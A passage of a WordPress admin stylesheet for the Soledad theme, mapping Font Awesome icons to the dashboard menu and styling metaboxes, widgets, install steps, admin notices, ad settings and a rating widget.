	content: "\f2ac";
}

body.fa-snapchat-square
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f2ad";
}

body.fa-pied-piper
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f2ae";
}

body.fa-first-order
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f2b0";
}

body.fa-yoast #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f2b1";
}

body.fa-themeisle
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f2b2";
}

body.fa-google-plus-circle
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-google-plus-official
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f2b3";
}

body.fa-fa #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-font-awesome
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f2b4";
}

body.fa-handshake-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f2b5";
}

body.fa-envelope-open
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f2b6";
}

body.fa-envelope-open-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f2b7";
}

body.fa-linode #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f2b8";
}

body.fa-address-book
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f2b9";
}

body.fa-address-book-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f2ba";
}

body.fa-vcard #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-address-card
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f2bb";
}

body.fa-vcard-o #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-address-card-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f2bc";
}

body.fa-user-circle
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f2bd";
}

body.fa-user-circle-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f2be";
}

body.fa-user-o #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f2c0";
}

body.fa-id-badge
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f2c1";
}

body.fa-drivers-license
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-id-card #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f2c2";
}

body.fa-drivers-license-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-id-card-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f2c3";
}

body.fa-quora #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f2c4";
}

body.fa-free-code-camp
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f2c5";
}

body.fa-telegram
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f2c6";
}

body.fa-thermometer-4
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-thermometer
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-thermometer-full
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f2c7";
}

body.fa-thermometer-3
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-thermometer-three-quarters
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f2c8";
}

body.fa-thermometer-2
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-thermometer-half
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f2c9";
}

body.fa-thermometer-1
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-thermometer-quarter
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f2ca";
}

body.fa-thermometer-0
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-thermometer-empty
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f2cb";
}

body.fa-shower #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f2cc";
}

body.fa-bathtub #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-s15 #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-bath #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f2cd";
}

body.fa-podcast #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f2ce";
}

body.fa-window-maximize
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f2d0";
}

body.fa-window-minimize
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f2d1";
}

body.fa-window-restore
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f2d2";
}

body.fa-times-rectangle
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-window-close
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f2d3";
}

body.fa-times-rectangle-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-window-close-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f2d4";
}

body.fa-bandcamp
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f2d5";
}

body.fa-grav #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f2d6";
}

body.fa-etsy #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f2d7";
}

body.fa-imdb #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f2d8";
}

body.fa-ravelry #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f2d9";
}

body.fa-eercast #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f2da";
}

body.fa-microchip
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f2db";
}

body.fa-snowflake-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f2dc";
}

body.fa-superpowers
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f2dd";
}

body.fa-wpexplorer
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f2de";
}

body.fa-meetup #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f2e0";
}

ul#menu-to-edit li:not(.menu-item-depth-0) .penci-hide-child {
	display: none;
}

/* body:not(.block-editor-page) #penci-gutenberg-format { */
/* display: none; */
/* } */
.penci-show-social .vc_checkbox-label {
	display: block;
	width: 50%;
	float: left;
	margin-bottom: 10px;
}

.penci-instagram-container .donate {
	padding: 5px 15px 10px;
	display: inline-block;
	position: relative;
	color: #000;
	background: #ffd751;
	-webkit-border-radius: 5px;
	border-radius: 5px;
	border: 1px solid #b4b4b4;
	font-weight: bold;
	font-size: 14px;
	text-decoration: none;
}

.penci-instagram-container .donate a {
	outline: 0;
	cursor: pointer;
}

.penci-instagram-container .donate span:before {
	color: #ce1f00;
	font: 400 20px/1 dashicons;
	font-family: dashicons;
	font-size: 24px;
	font-style: normal;
	font-variant: normal;
	font-weight: 400;
	font-stretch: normal;
	line-height: 1;
	content: "\f524";
	position: relative;
	display: inline-block;
	top: 4px;
	margin-right: 4px;
}

.penci-instagram-container .pressthis a,
.penci-instagram-container .pressthis-bookmarklet a,
.penci-instagram-container .pressthis a:active,
.penci-instagram-container .pressthis-bookmarklet a:active,
.penci-instagram-container .pressthis a:focus,
.penci-instagram-container .pressthis-bookmarklet a:focus,
.penci-instagram-container .pressthis a:hover,
.penci-instagram-container .pressthis-bookmarklet a:hover {
	cursor: pointer;
	background: #53b5d9;
	border: 1px solid #0074a2;
	color: #ffffff;
	font-weight: bold;
}

.penci-instagram-container .jr_insta_error {
	border-left: 4px solid #dd3d36;
	-moz-box-shadow: 0 1px 1px 0 rgba(0, 0, 0, 0.1);
	-webkit-box-shadow: 0 1px 1px 0 rgba(0, 0, 0, 0.1);
	box-shadow: 0 1px 1px 0 rgba(0, 0, 0, 0.1);
	padding: 5px 12px;
}

.penci-instagram-container .penci-radio {
	margin-right: 20px;
}

.penci-instagram-container .penci-search-for-container {
	display: block;
	margin-bottom: 7px;
}

.penci-instagram-container .penci-seach-for {
	width: 90px;
	display: inline-block;
	vertical-align: middle;
}

.penci-instagram-container .penci-advanced {
	text-decoration: none;
	border: none;
}

.penci-instagram-container .penci-advanced:focus {
	outline: 0;
	border: none;
	box-shadow: none;
}

.penci-instagram-container .penci-advanced-input div {
	border: 1px solid #cfcfcf;
	padding: 10px;
	margin: 25px 0 0;
}

.penci-instagram-container .penci-advanced-input .penci-advanced-title {
	margin: -22px 0 0 0;
	background-color: white;
	width: 160px;
	padding: 3px 10px;
	border: 1px solid #cfcfcf;
}

.penci-instagram-container .penci-description {
	color: #777;
	font-size: smaller;
	clear: both;
	display: block;
	margin-top: 5px;
}

.penci-instagram-container .penci-description.hide-media-library,
.penci-instagram-container .penci-description.hide-instagram {
	display: none;
}

.penci-instagram-container .switch {
	position: relative;
	display: inline-block;
	margin-left: 5px;
	width: 45px;
	height: 24px;
}

.penci-instagram-container .switch input {
	display: none;
}

.penci-instagram-container .slider {
	position: absolute;
	cursor: pointer;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	background-color: #ccc;
	-webkit-transition: 0.4s;
	transition: 0.4s;
}

.penci-instagram-container .slider:before {
	position: absolute;
	content: "";
	height: 22px;
	width: 22px;
	left: 0px;
	bottom: 0px;
	border: 1px solid #e5e5e5;
	background-color: white;
	-webkit-transition: 0.4s;
	transition: 0.4s;
}

.penci-instagram-container input:checked + .slider {
	background-color: #0085ba;
}

.penci-instagram-container input:focus + .slider {
	box-shadow: 0 0 1px #0085ba;
}

.penci-instagram-container input:checked + .slider:before {
	-webkit-transform: translateX(22px);
	-ms-transform: translateX(22px);
	transform: translateX(22px);
}

.penci-instagram-container .slider.round {
	border-radius: 34px;
}

.penci-instagram-container .slider.round:before {
	border-radius: 50%;
}

.penci-advanced-input {
	margin-bottom: 20px;
}

#penci-metabox-single .inside {
	display: block !important;
	padding: 0;
	margin: 0 !important;
	background: #fff;
}

.penci-metabox-wrap {
	position: relative;
	width: 100%;
}

.penci-metabox-wrap:after,
.penci-metabox-wrap:before {
	content: "";
	clear: both;
	width: 100%;
	display: block;
}

.penci-metabox-tabs {
	list-style: none;
	padding: 0;
	margin: -6px -12px 0 -12px;
	position: relative;
	z-index: 2;
	display: block;
	border-bottom: 1px solid #ddd;
	border-top: 0;
	overflow: hidden;
}

.penci-metabox-tabs li {
	float: left;
	padding: 0;
	margin: 0;
	overflow: hidden;
	zoom: 1;
	-webkit-transition: all 250ms cubic-bezier(0.39, 0.575, 0.565, 1);
	transition: all 250ms cubic-bezier(0.39, 0.575, 0.565, 1);
	filter: alpha(opacity=100);
	opacity: 1;
}

.penci-metabox-tabs li a {
	text-decoration: none;
	display: block;
	white-space: nowrap;
	text-overflow: ellipsis;
	overflow: hidden;
	padding: 0 15px;
	line-height: 40px;
	color: #666;
	outline: 0;
	box-shadow: none;
	font-size: 13px;
	font-weight: bold;
	text-transform: uppercase;
	border-right: 1px solid #ddd;
}

.penci-metabox-tabs li a i {
	display: inline-block;
	line-height: 41px;
	margin-right: 5px;
	font-size: 15px;
	color: #4d4d4d;
}

.penci-metabox-tabs li.tab-active a {
	color: var(--wp-admin-theme-color);
}

.penci-metabox-fields .penci-tab-panel:not(:first-child) {
	display: none;
}

.penci-metabox-tabs + .penci-metabox-fields {
	background: #fff;
	position: relative;
	z-index: 1;
	min-height: 200px;
	box-sizing: border-box;
	display: block;
	padding: 10px 15px;
}

.penci-metabox-fields .penci-metabox-row {
	padding-top: 15px;
	padding-bottom: 15px;
	border-bottom: 1px solid #f1f1f1;
	margin-bottom: 15px;
}

.penci-metabox-fields .penci-metabox-row h2 {
	max-width: 100%;
	min-width: 230px !important;
}

.penci-metabox-fields .penci-metabox-row:not(:last-child) {
}

.penci-metabox-row {
	position: relative;
	clear: both;
	display: flex;
	-webkit-box-align: start;
	-webkit-align-items: flex-start;
	-ms-flex-align: start;
	align-items: flex-start;
}

.penci-metabox-row p {
	margin: 0;
}

.penci-metabox-fields .penci-mb-labeldesc {
	width: 200px;
}

.penci-metabox-fields .penci-mb-labeldesc + div {
	flex: 1;
	margin-left: 20px;
}

.penci-metabox-fields .penci-metabox-desc {
	color: #666;
	font-style: italic;
	display: block;
	font-size: 13px;
	line-height: 1.5;
	margin: 10px 0 1em;
}

.penci-metabox-fields label {
	color: #333333;
	font-size: 14px;
	line-height: 1.5em;
	font-weight: bold;
	padding: 0;
	margin: 0 0 3px;
	display: block;
	vertical-align: text-bottom;
}

.penci-metabox-fields img {
	max-width: 100%;
}

.penci-image-select-wrap {
	overflow: hidden;
}

.penci-metabox-fields label.penci-image-select {
	display: inline-block;
	width: 80px;
	height: 80px;
	float: left;
	margin: 0 10px 10px 0;
	border: 3px solid #d8d8d8;
	border-radius: 0;
	padding: 1px;
}

.penci-metabox-fields #header_style label.penci-image-select {
	width: 206px;
	height: 55px;
	overflow: hidden;
}

.penci-metabox-fields #header_style label.penci-image-select img {
	width: 100%;
	height: auto;
}

.penci-metabox-fields label.penci-image-select img {
	width: 100%;
	height: 100%;
}

.penci-metabox-fields label.penci-image-select:hover,
.penci-metabox-fields label.penci-image-select.penci-active {
	border-color: #0085ba;
}

.penci-metabox-fields label.penci-image-select input {
	display: none !important;
}

#penci_single_single_style label.penci-image-select {
	width: 100px;
	height: 73px;
}

#penci_cat_pstyle label.penci-image-select {
	width: 45px;
	height: 36px;
	border-width: 2px;
}

#penci_arch_sidebar_layout label.penci-image-select,
#penci_page_sidebar_layout label.penci-image-select,
#penci_single_sidebar_layout label.penci-image-select {
	width: 60px;
	height: 44px;
	border-width: 2px;
}

.penci-metabox-fields input[type="text"],
.penci-metabox-fields textarea {
	width: 100%;
}

.penci-metabox-fields textarea {
	min-height: 150px;
}

.penci-metabox-fields select,
.penci-metabox-fields input[type="number"] {
	min-width: 100px;
}

.penci-metabox-fields .media-widget-control {
	max-width: 300px;
}

.media-widget-control .placeholder.hidden {
	height: 1px;
	display: block;
	width: 100%;
	opacity: 0;
	padding: 0;
	margin: 0;
}

.penci-metabox-fields .media-widget-control button {
	margin-top: 10px;
	margin-right: 15px;
}

.penci-metabox-row .penci-mb-input {
	width: 100%;
}

/** widget **/
.penci-field-item textarea {
	min-height: 130px;
}

.penci-widget-desc {
	color: #999;
	font-size: 12px;
	display: block;
	font-style: italic;
	line-height: 20px;
	margin-top: 8px;
	clear: both;
}

.penci-checkbox {
	float: left;
	position: relative;
	top: 4px;
}

.penci-picker-container {
	clear: both;
	display: block;
}

.penci-field-item {
	clear: both;
}

.widget-content .penci-param-heading-wrapper {
	padding: 4px 15px 7px;
	font-size: 14px;
	background: #e6e6e6;
	color: #6c6c6c;
	margin-bottom: 0;
	margin-top: 10px;
}

/* Style the buttons that are used to open and close the accordion panel */
.penci-accordion-name {
	position: relative;
	height: 40px;
	padding: 0 55px 0 15px;
	line-height: 40px;
	border: 1px solid #e2dddb;
	font-weight: bold;
	background-color: #f5f5f5;
	margin-top: 10px;
	cursor: pointer;
}

.penci-accordion-name h3 {
	padding: 0;
	margin: 0;
	font-size: 14px;
}

.penci-accordion-name .handle-repeater {
	float: right;
	height: 40px;
	width: 40px;
	text-align: center;
	display: inline-block;
	vertical-align: middle;
	cursor: pointer;
	position: absolute;
	right: -1px;
	top: -1px;
	font-size: 20px;
	line-height: 36px;
	border: 1px solid #e2dddb;
}

.penci-accordion-name .handle-repeater:before {
	content: "\002B";
}

.penci-accordion-name.active .handle-repeater:before {
	content: "\2212";
}

.penci-panel-accordion {
	display: none;
	overflow: hidden;
	height: 0;
	transition: max-height 0.2s ease-out;
	padding: 15px 17px 13px;
	position: relative;
	border: 1px solid #e2dddb;
	border-top: 0;
	margin-bottom: 10px;
}

.widget-content .penci-metabox-fields {
	margin-bottom: 30px;
}

.penci-accordion-name.active + .penci-panel-accordion {
	display: block;
	height: auto;
}

.penci-col-1,
.penci-col-2,
.penci-col-3,
.penci-col-4,
.penci-col-5,
.penci-col-6,
.penci-col-7,
.penci-col-8,
.penci-col-9,
.penci-col-10,
.penci-col-11,
.penci-col-12 {
	position: relative;
	padding-right: 30px;
	clear: none;
	margin-left: 0;
	margin-right: 0;
	box-sizing: border-box;
}

@media (min-width: 992px) {
	.penci-col-1,
	.penci-col-2,
	.penci-col-3,
	.penci-col-4,
	.penci-col-5,
	.penci-col-6,
	.penci-col-7,
	.penci-col-8,
	.penci-col-9,
	.penci-col-10,
	.penci-col-11,
	.penci-col-12 {
		float: left;
		margin-bottom: 0;
	}

	.penci-col-12 {
		width: 100%;
	}

	.penci-col-11 {
		width: 91.66666667%;
	}

	.penci-col-10 {
		width: 83.33333333%;
	}

	.penci-col-9 {
		width: 75%;
	}

	.penci-col-8 {
		width: 66.66666667%;
	}

	.penci-col-7 {
		width: 58.33333333%;
	}

	.penci-col-6 {
		width: 50%;
	}

	.penci-col-5 {
		width: 41.66666667%;
	}

	.penci-col-4 {
		width: 33.33333333%;
	}

	.penci-col-3 {
		width: 25%;
	}

	.penci-col-2 {
		width: 16.66666667%;
	}

	.penci-col-1 {
		width: 8.33333333%;
	}

	.penci-col-6:nth-child(2n + 1) {
		clear: both;
	}
}

.wpb_el_type_font_container .edit_form_line {
	overflow: hidden;
}

.wpb_el_type_font_container .vc_column {
	width: 18.3%;
	float: left;
	padding: 0 5px !important;
}

.wpb_el_type_penci_separator {
	padding: 10px;
	margin: 10px 14px;
	background: #000;
	color: #fff;
	border-radius: 2px;
}

.wpb_el_type_penci_separator hr {
	border: 1px solid rgba(255, 255, 255, 0.1);
}

.media-toolbar.wp-filter {
	position: relative;
	border: 1px solid #c3c4c7;
	padding: 0 10px;
	background: #fff;
}

.plugins .column-auto-updates .dashicons-update.spin.hidden {
	display: none;
}

.penci-social-tab {
	display: flex;
	flex-wrap: wrap;
	justify-content: space-between;
}

.penci-social-tab p {
	width: 45%;
}

.penci-social-tab p.widget-title-settings {
	width: 100%;
}

.penci-insta-token-wrapper {
	max-width: 720px;
	padding: 40px;
	border: 1px solid #eee;
	margin: 60px auto 0;
	border-radius: 5px;
	background: white;
	text-align: center;
	box-shadow: 0 1px 3px 0 rgba(55, 55, 55, 0.1);
}

.penci-insta-token-wrapper h3 {
	font-size: 20px;
}

.penci-insta-token-wrapper p {
	font-size: 15px;
}

.penci-insta-token-wrapper .pc-ins-tk.top-icon {
	font-size: 66px;
	line-height: 1;
}

.penci-insta-token-wrapper .pc-ins-tk.top-icon span {
	font-size: inherit;
	line-height: inherit;
	display: inline-block;
	width: auto;
	height: auto;
}

#sub-accordion-section-pencidesign_general_archive_page
	.customize-control-checkbox-multiple
	ul
	li {
	display: inline-block;
	margin-right: 5px;
}

.pcajax-none,
.pcajax-change,
.penci-mn-settings,
.penci_menu_bgimg_delete_btn {
	display: none;
}

.pcajax-none.active,
.pcajax-change.active,
.penci-mn-settings.active {
	display: block;
}

.menu-mn-g .penci_menu_bgimg_delete_btn.active {
	color: red;
	display: inline-block;
	margin-left: 10px;
	cursor: pointer;
}

.menu-mn-g .penci_menu_bgimg_btn {
	font-weight: bold;
	cursor: pointer;
	color: var(--wp-admin-theme-color);
}

.pc-mn-image-wrapper.active {
	display: block;
}

.pencilazy-clear-button .ab-item:before {
	content: "\f111";
	margin: 2px 0 0;
}

.pencilazy-clear-button .ab-item.loading:before {
	animation: penci-arotation 1.5s infinite linear;
}

.pencilazy-clear-button .ab-item.success:before {
	content: "\f147";
}

@keyframes penci-arotation {
	from {
		transform: rotate(0deg);
	}
	to {
		transform: rotate(359deg);
	}
}

.pcmt-control-wrapper {
	border-bottom: 1px solid #ddd;
	padding: 15px 0;
	display: flex;
	flex-direction: row;
	flex-wrap: wrap;
}

.pcmt-control-wrapper:last-child {
	border-bottom: 0;
	padding-bottom: 0;
}

.pcmt-control-wrapper .pcmt-title,
.pcmt-control-wrapper .pcmt-control {
	flex: 0 0 40%;
}

.pcmt-control-wrapper .pcmt-control {
	flex: 0 0 calc(60% - 60px);
	padding-left: 30px;
	padding-right: 30px;
	align-items: center;
	display: flex;
}

.pcmt-control-wrapper .pcmt-control .pcmt-child-control:not(:last-child) {
	margin-bottom: 15px;
}

.pcmt-control-wrapper .pcmt-control .pcmt-child-control p {
	margin: 0;
}

.pcmt-control-wrapper .pcmt-control input,
.pcmt-control-wrapper .pcmt-control select {
	min-width: 330px;
}

.postbox .postbox-header {
	background-color: #f1f1f1;
	text-transform: uppercase;
}

.soledad-install-steps {
	display: flex;
	flex-wrap: wrap;
	flex-direction: row;
	margin-right: -15px;
	margin-left: -15px;
	padding-top: 30px;
	padding-bottom: 30px;
}

.soledad-install-steps .col {
	flex: 1;
	padding-left: 15px;
	padding-right: 15px;
}

.soledad-install-steps .inner-content {
	padding: 40px;
	background-color: #fff;
	min-height: 610px;
	box-shadow: 0 0 8px 0 rgba(0, 0, 0, 0.08);
}

.soledad-install-steps .inner-content.video,
.soledad-install-steps .inner-content.document {
	background-color: #000;
	color: #fff;
}

.soledad-install-steps .inner-content.video {
	background: #ff512f;
	background: -webkit-linear-gradient(to right, #ff512f, #dd2476);
	background: linear-gradient(to right, #ff512f, #dd2476);
}

.soledad-install-steps .inner-content.video h3,
.soledad-install-steps .inner-content.document h3 {
	color: #fff;
	border-bottom-color: rgba(255, 255, 255, 0.3);
}

.soledad-install-steps.soledad-helper-section .inner-content {
	min-height: 310px;
}

.soledad-install-steps .inner-content .heading-span {
	text-transform: uppercase;
	font-size: 12px;
	font-weight: bold;
	letter-spacing: 0.05em;
	color: #888;
	margin-bottom: 15px;
}

.soledad-install-steps .inner-content .heading-span span {
	display: inline-block;
	width: 30px;
	height: 30px;
	line-height: 30px;
	text-align: center;
	border-radius: 50%;
	background-color: var(--wp-admin-theme-color);
	color: #fff;
}

.soledad-install-steps .inner-content h3 {
	border-bottom: 1px solid #ddd;
	padding-bottom: 15px;
	letter-spacing: -0.01em;
	line-height: 1.25;
}

.soledad-install-steps .heading-icon {
	margin-bottom: -15px;
}

.soledad-install-steps .heading-icon i:before {
	font-size: 60px;
	width: 60px;
	height: 60px;
}

.soledad-helper-section.soledad-install-steps {
	margin-top: -50px;
}

select.jquery-grid-picker {
	display: none;
}

ul.jquery-grid-picker-widget {
	margin-top: 0;
	padding: 0;
}

ul.jquery-grid-picker-widget li {
	display: inline-block;
	margin: 0;
	padding: 0;
}

ul.jquery-grid-picker-widget li a {
	display: block;
	padding: 5px 12px;
	background-color: #ddd;
	color: #000;
	text-transform: uppercase;
	font-weight: 500;
	letter-spacing: 0.5px;
}

ul.jquery-grid-picker-widget li:first-child a {
	-webkit-border-top-left-radius: 3px;
	-webkit-border-bottom-left-radius: 3px;
	-moz-border-radius-topleft: 3px;
	-moz-border-radius-bottomleft: 3px;
	border-top-left-radius: 3px;
	border-bottom-left-radius: 3px;
}

ul.jquery-grid-picker-widget li:last-child a {
	-webkit-border-top-right-radius: 3px;
	-webkit-border-bottom-right-radius: 3px;
	-moz-border-radius-topright: 3px;
	-moz-border-radius-bottomright: 3px;
	border-top-right-radius: 3px;
	border-bottom-right-radius: 3px;
}

ul.jquery-grid-picker-widget li.jquery-grid-picker-item-selected a {
	background-color: var(--wp-admin-theme-color);
	color: #fff;
}

body.post-type-archive-template #the-list .row-actions .view,
body.post-type-custom-post-template #the-list .row-actions .view {
	display: none;
}

.manage-column.column-penci_views span.title {
	display: none;
}

.pc-update-notice {
	border: 1px solid #ccc;
	box-shadow: 0 0 5px rgb(0 0 0 / 10%);
	background: #dafcff;
	padding: 10px 20px;
	background-image: url(https://imgresources.s3.amazonaws.com/bgupdates.png);
	background-repeat: no-repeat;
	background-size: auto 120%;
	background-position: top right;
}

body.rtl .pc-update-notice {
	background-position: top left;
	background-image: url(https://imgresources.s3.amazonaws.com/bgupdates-rtl.png);
}

.pc-update-notice p {
	font-size: 16px;
	margin: 0 0 5px;
}

.pc-update-notice p a {
	color: #0043ff;
	text-decoration: underline;
}

.pc-update-notice p.pc-updaten-title {
	font-size: 32px;
	margin: 0 0 10px 0;
	font-weight: 500;
}

.pc-fb-group-notice {
	border: 0;
	background: #fff url("https://imgresources.s3.amazonaws.com/fb-group.png");
	padding: 10px 25px;
	padding-left: 25px;
	background-repeat: no-repeat;
	background-size: 120px auto;
	background-position: 25px center;
	padding-left: 170px;
	box-shadow: 0 0 5px rgba(0, 0, 0, 0.15);
}

.pc-fb-group-notice .pc-fb-btn {
	display: inline-block;
	padding: 12px 15px;
	background: #0767e2;
	color: #fff;
	margin-right: 15px;
	line-height: 1;
	font-size: 14px;
	font-weight: 500;
}

body.rtl .pc-fb-group-notice .pc-fb-btn {
	margin-right: 0;
	margin-left: 15px;
}

.pc-fb-group-notice .pc-fb-btn.pc-fb-dismiss {
	background: #626262;
}

.pc-fb-group-notice .pc-fb-dismiss {
	font-size: 14px;
}

.pc-fb-group-notice .pc-fbbtn-gr {
	display: flex;
	align-items: center;
	flex-wrap: wrap;
	margin: 1.2em 0 0.5em;
}

.pc-fb-group-notice .fbp1 {
	font-size: 20px;
	font-weight: bold;
}

.pc-fb-group-notice .fbp2 {
	font-size: 15px;
}

.wrap.penci_ad_settings .rwmb-settings-wrap {
	background: #ffffff;
	border: 1px solid #e2e2e2;
	max-width: 1060px;
	margin: 30px 0;
	padding: 20px;
	border-radius: 3px;
}

.wrap.penci_ad_settings .rwmb-settings-wrap .postbox-header {
	display: none;
}

.wrap.penci_ad_settings.rwmb-settings-tabs-left.rwmb-settings-no-boxes
	.nav-tab {
	border: 1px solid #ddd;
	background: #f9f9f9;
	font-size: 14px;
	color: #444;
	padding: 10px 15px;
	position: relative;
	font-weight: 500;
}

.wrap.penci_ad_settings.rwmb-settings-tabs-left.rwmb-settings-no-boxes
	.nav-tab:after {
	width: 1px;
	top: 0;
	bottom: 0;
	right: -1px;
	left: auto;
	content: "";
	position: absolute;
	background: #fff;
	opacity: 0;
}

.wrap.penci_ad_settings.rwmb-settings-tabs-left.rwmb-settings-no-boxes
	.nav-tab.nav-tab-active {
	background: #fff;
	padding: 10px 15px;
	margin-right: 0;
	color: var(--wp-admin-theme-color);
}

.wrap.penci_ad_settings.rwmb-settings-tabs-left.rwmb-settings-no-boxes
	.nav-tab.nav-tab-active:after {
	opacity: 1;
}

.wrap.penci_ad_settings.rwmb-settings-tabs-left.rwmb-settings-no-boxes
	.nav-tab {
	border-right-width: 0;
	border-bottom-width: 0;
}

.wrap.penci_ad_settings.rwmb-settings-tabs-left.rwmb-settings-no-boxes
	.nav-tab:last-child {
	border-bottom-width: 1px;
}

.wrap.penci_ad_settings .rwmb-settings-form-wrap {
	border: 1px solid #ddd;
}

.wrap.penci_ad_settings h2.nav-tab-wrapper {
	border: 0;
}

.wrap.penci_ad_settings .rwmb-label,
.wrap.penci_ad_settings .rwmb-label ~ .rwmb-input {
	width: 50%;
}

.wrap.penci_ad_settings .rwmb-label {
	padding-right: 30px;
}

.wrap.penci_ad_settings .rwmb-input input,
.wrap.penci_ad_settings .rwmb-input select,
.wrap.penci_ad_settings .rwmb-input textarea {
	border-color: #d9d9d9;
	border-radius: 0;
}

.wrap.penci_ad_settings .rwmb-input textarea {
	padding: 15px;
}

.wrap.penci_ad_settings .rwmb-input input:focus,
.wrap.penci_ad_settings .rwmb-input select:focus,
.wrap.penci_ad_settings .rwmb-input textarea:focus {
	outline: 0;
	border-color: #cbcbcb;
	box-shadow: none;
}

.wrap.penci_ad_settings .rwmb-input textarea {
	min-height: 160px;
}

.wrap.penci_ad_settings .rwmb-field {
	border-bottom: 1px solid #efefef;
	padding-bottom: 15px;
	margin-bottom: 15px;
}

.wrap.penci_ad_settings .rwmb-file-input-remove.button,
.wrap.penci_ad_settings .form-wrap p,
.wrap.penci_ad_settings p.description,
.wrap.penci_ad_settings p.help,
span.description {
	margin-top: 15px;
}

.wrap.penci_ad_settings #backup .rwmb-label,
.wrap.penci_ad_settings #backup .rwmb-input {
	width: 100%;
	margin-bottom: 15px;
}

.wrap.penci_ad_settings .rwmb-field.rwmb-custom_html-wrapper .rwmb-input {
	display: block;
	background: #fff9d8;
	padding: 10px 20px;
}

.penciwg-color-area {
	width: 100%;
	display: flex;
	flex-wrap: wrap;
	flex-direction: row;
	justify-content: space-between;
}

#penci_smartlists_meta .penci-table-meta {
	overflow: hidden;
	padding-bottom: 15px;
}

@media only screen and (min-width: 783px) {
	#penci_smartlists_meta .penci-table-meta > .penci-2-col-admin {
		width: 48%;
		float: left;
		clear: none;
		display: block;
		margin-right: 4%;
		min-height: 105px;
	}

	#penci_smartlists_meta
		.penci-table-meta
		> .penci-2-col-admin:nth-of-type(2n + 2) {
		margin-right: 0;
	}

	#penci_smartlists_meta .penci-format-row {
		min-width: unset;
		float: none;
		width: 100%;
	}
}

#add_comment_rating_wrap {
	position: relative;
	width: 240px;
	font-size: 12px;
	display: inline-block;
}
#add_comment_rating_wrap i {
	color: #ffb900;
}

#add_post_rating {
	position: absolute;
	bottom: 0;
	right: 0;
}
@font-face {
	font-family: "raty";
	font-style: normal;
	font-weight: normal;
